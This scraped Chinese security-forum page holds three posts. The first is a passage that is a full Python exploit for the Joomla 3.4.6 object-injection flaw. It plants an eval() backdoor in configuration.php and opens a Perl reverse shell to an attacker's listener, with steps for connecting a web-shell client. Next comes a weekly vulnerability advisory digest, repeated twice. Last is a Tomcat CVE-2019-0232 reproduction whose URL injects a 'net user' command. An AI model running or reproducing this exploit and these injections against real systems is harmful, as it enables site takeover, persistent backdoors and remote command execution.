from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在

4.png

 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口

7.png

 
进入configration.php 查看一句木马是否插入成功

5.png

 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl

6.png

 
连接成功

赛克艾威漏洞预警(12月28-1月3号)

漏洞预警ypk 发表了文章 • 0 个评论 • 459 次浏览 • 2020-01-03 10:42 • 来自相关话题

免责声明:以下内容,均来自于互联网,用于普及漏洞详情,如有利用此文内容而造成的任何后果和损失,均由使用者本人负责,赛克艾威公司不担负任何责任。
 
目录:
1.IBM Planning Analytics代码执行漏洞CVE-2019-4716
2.云业CMS前台存在SQL注入漏洞CNVD-2019-44102
3.Palo Alto Networks PA-7080和PA-7050 PAN-OS 安全漏洞CVE-2019-17440
4.Tencent WeChat 命令注入漏洞CVE-2019-17151
5.Harbor任意管理员注册漏洞
 
详情:
1.IBM Planning Analytics代码执行漏洞CVE-2019-4716
漏洞介绍:IBM Planning Analytics是美国IBM公司的一套业务规划分析解决方案。该方案支持自动化执行业务规划、预算和分析等流程。IBM Planning Analytics 2.0.0版本至2.0.8版本中存在安全漏洞。攻击者可利用该漏洞覆盖配置,以管理员身份进行登录,进而以root或SYSTEM权限执行代码 影响范围:IBM IBM Planning Analytics >=2.0,<2.0.8 修复方案:厂商已发布升级相关漏洞补丁,请及时更新:https://www.ibm.com/support/pages/node/11277812.云业CMS前台存在SQL注入漏洞CNVD-2019-44102漏洞介绍:云业cms企业建站系统是由php+mysql开发的一套专门用于中小企业网站建设的开源cms。云业CMS前台存在SQL注入漏洞,攻击者可利用漏洞获取数据库敏感信息。影响范围:洛阳云业信息科技有限公司 云业CMS v2.0修复方案:目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:http://www.yunyecms.com/info/19/40.html3.Palo Alto Networks PA-7080和PA-7050 PAN-OS 安全漏洞CVE-2019-17440漏洞介绍:Palo Alto Networks PA-7080和PA-7050都是美国Palo Alto Networks(Palo Alto Networks)公司的产品。PA-7050是一款PA-7050系列防火墙产品。Palo Alto Networks PA-7080是一款PA-7080系列防火墙产品。PAN-OS是一套为其防火墙设备开发的操作系统。Palo Alto Networks PA-7080和PA-7050上的PAN-OS 9.0.5-h3之前的9.0版本中存在安全漏洞,该漏洞程序没有正确限制对Log Forwarding Card (LFC)通信的限制。攻击者可利用该漏洞获取PAN-OS的root权限。 影响范围:PAN-OS 8.1.9和更低版本,以及PAN-OS 9.0.3和更低版本。PAN OS 7.1和8.0不受影响 修复方案:PAN OS 8.1.9-h4及更高版本,以及PAN OS 9.0.3-h3及更高版本。4.Tencent WeChat 命令注入漏洞CVE-2019-17151漏洞介绍:此漏洞允许远程攻击者在受影响的腾讯微信安装上执行任意代码。攻击此漏洞需要用户交互,因为目标必须与攻击者一起处于聊天会话中。在解析用户名时存在特定的缺陷。此问题是由于在使用用户提供的字符串执行系统调用之前未对其进行正确验证造成的。攻击者可以利用此漏洞在当前进程的上下文中执行代码。影响范围:微信<=7.0.8 修复方案:此问题已在最新的版本7.0.9中修复。5.Harbor任意管理员注册漏洞漏洞介绍:Harbor曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。 影响范围:1.7.0-1.8.2 修复方案:

升级Harbor版本到 1.7.6 和 1.8.3

  查看全部
免责声明以下内容,均来自于互联网,用于普及漏洞详情,如有利用此文内容而造成的任何后果和损失,均由使用者本人负责,赛克艾威公司不担负任何责任。
 
目录:
1.IBM Planning Analytics代码执行漏洞CVE-2019-4716
2.云业CMS前台存在SQL注入漏洞CNVD-2019-44102
3.Palo Alto Networks PA-7080和PA-7050 PAN-OS 安全漏洞CVE-2019-17440
4.Tencent WeChat 命令注入漏洞CVE-2019-17151

5.Harbor任意管理员注册漏洞
 
详情
1.IBM Planning Analytics代码执行漏洞CVE-2019-4716
  • 漏洞介绍:

IBM Planning Analytics是美国IBM公司的一套业务规划分析解决方案。该方案支持自动化执行业务规划、预算和分析等流程。IBM Planning Analytics 2.0.0版本至2.0.8版本中存在安全漏洞。攻击者可利用该漏洞覆盖配置,以管理员身份进行登录,进而以root或SYSTEM权限执行代码

 
  • 影响范围:

IBM IBM Planning Analytics >=2.0,<2.0.8

 
  • 修复方案:

厂商已发布升级相关漏洞补丁,请及时更新:https://www.ibm.com/support/pages/node/1127781

2.云业CMS前台存在SQL注入漏洞CNVD-2019-44102
  • 漏洞介绍:

云业cms企业建站系统是由php+mysql开发的一套专门用于中小企业网站建设的开源cms。云业CMS前台存在SQL注入漏洞,攻击者可利用漏洞获取数据库敏感信息。

  • 影响范围:

洛阳云业信息科技有限公司 云业CMS v2.0

  • 修复方案:

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:http://www.yunyecms.com/info/19/40.html

3.Palo Alto Networks PA-7080和PA-7050 PAN-OS 安全漏洞CVE-2019-17440
  • 漏洞介绍:

Palo Alto Networks PA-7080和PA-7050都是美国Palo Alto Networks(Palo Alto Networks)公司的产品。PA-7050是一款PA-7050系列防火墙产品。Palo Alto Networks PA-7080是一款PA-7080系列防火墙产品。PAN-OS是一套为其防火墙设备开发的操作系统。Palo Alto Networks PA-7080和PA-7050上的PAN-OS 9.0.5-h3之前的9.0版本中存在安全漏洞,该漏洞程序没有正确限制对Log Forwarding Card (LFC)通信的限制。攻击者可利用该漏洞获取PAN-OS的root权限。

 
  • 影响范围:

PAN-OS 8.1.9和更低版本,以及PAN-OS 9.0.3和更低版本。PAN OS 7.1和8.0不受影响

 
  • 修复方案:

PAN OS 8.1.9-h4及更高版本,以及PAN OS 9.0.3-h3及更高版本。

4.Tencent WeChat 命令注入漏洞CVE-2019-17151
  • 漏洞介绍:

此漏洞允许远程攻击者在受影响的腾讯微信安装上执行任意代码。攻击此漏洞需要用户交互,因为目标必须与攻击者一起处于聊天会话中。在解析用户名时存在特定的缺陷。此问题是由于在使用用户提供的字符串执行系统调用之前未对其进行正确验证造成的。攻击者可以利用此漏洞在当前进程的上下文中执行代码。

  • 影响范围:

微信<=7.0.8

 
  • 修复方案:

此问题已在最新的版本7.0.9中修复。

5.Harbor任意管理员注册漏洞
  • 漏洞介绍:

Harbor曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。

 
  • 影响范围:

1.7.0-1.8.2

 
  • 修复方案:


升级Harbor版本到 1.7.6 和 1.8.3


 

CVE-2019-0232:Tomcat远程代码执行漏洞

WEBzake 发表了文章 • 0 个评论 • 522 次浏览 • 2020-01-02 16:32 • 来自相关话题

漏洞背景
        2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
        该漏洞只对Windows平台有效,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
漏洞影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17Apache Tomcat 8.5.0 to 8.5.39Apache Tomcat 7.0.0 to 7.0.93
漏洞复现
 使用的测试环境为Win7,jdk版本为1.8,Tomcat版本为9.0.13。
打开配置/conf/web.xml文件,修改配置(记得要去掉注释):
配置enableCmdLineArguments和executable,如下
 





还有把 Servlet Mappings中CGI servlet部分注释去掉:
 





接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
 





最后在webapps/ROOT/WEB-INF文件夹下建立cgi-bin/hello.bat,里面写上:(据说可以什么都不用写,不确定)echo Content-type: text/html
启动Tomcat,打开浏览器,访问下面链接:
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet+user
 





命令执行成功。
配置分析
web.xml为tomcat中的全局配置文件,对该server下所有web应用均有效;若需要对一些应用进行特殊配置,可以在其根目录下添加单独的web.xml文件。
启用CGIServlet,CGI(common gateway interface)是外部应用程序(CGI程序)与WEB服务器之间的接口标准,允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器。<param-value>WEB-INF/cgi-bin</param-value>指定了cgi的路径,这里的路径不必须为此值,只需要与实际cgi路径相同即可;<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>设置enableCmdLineArguments值为true,默认值为false;<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>设置executable值为空;<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>用于设置url路径与servlet的映射关系;<Context privileged="true">指定该应用为特权(privileged)应用;

参考文章:https://bbs.pediy.com/thread-251507.htm
https://www.jianshu.com/p/b503fdd1effb 查看全部
漏洞背景
        2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
        该漏洞只对Windows平台有效,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
漏洞影响范围
  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

漏洞复现
 使用的测试环境为Win7,jdk版本为1.8,Tomcat版本为9.0.13。
打开配置/conf/web.xml文件,修改配置(记得要去掉注释):
配置enableCmdLineArguments和executable,如下
 
1.png


还有把 Servlet Mappings中CGI servlet部分注释去掉:
 
2.png


接着修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有启动CGI_Servlet权限。如下:
 
3.png


最后在webapps/ROOT/WEB-INF文件夹下建立cgi-bin/hello.bat,里面写上:(据说可以什么都不用写,不确定)
echo Content-type: text/html

启动Tomcat,打开浏览器,访问下面链接:
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet+user
 
4.png


命令执行成功。
配置分析
web.xml为tomcat中的全局配置文件,对该server下所有web应用均有效;若需要对一些应用进行特殊配置,可以在其根目录下添加单独的web.xml文件。
启用CGIServlet,CGI(common gateway interface)是外部应用程序(CGI程序)与WEB服务器之间的接口标准,允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器。
<param-value>WEB-INF/cgi-bin</param-value>
指定了cgi的路径,这里的路径不必须为此值,只需要与实际cgi路径相同即可;
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
设置enableCmdLineArguments值为true,默认值为false;
<init-param> 
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
设置executable值为空;
<servlet-mapping> 
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
用于设置url路径与servlet的映射关系;
<Context privileged="true">
指定该应用为特权(privileged)应用;

参考文章:
https://bbs.pediy.com/thread-251507.htm
https://www.jianshu.com/p/b503fdd1effb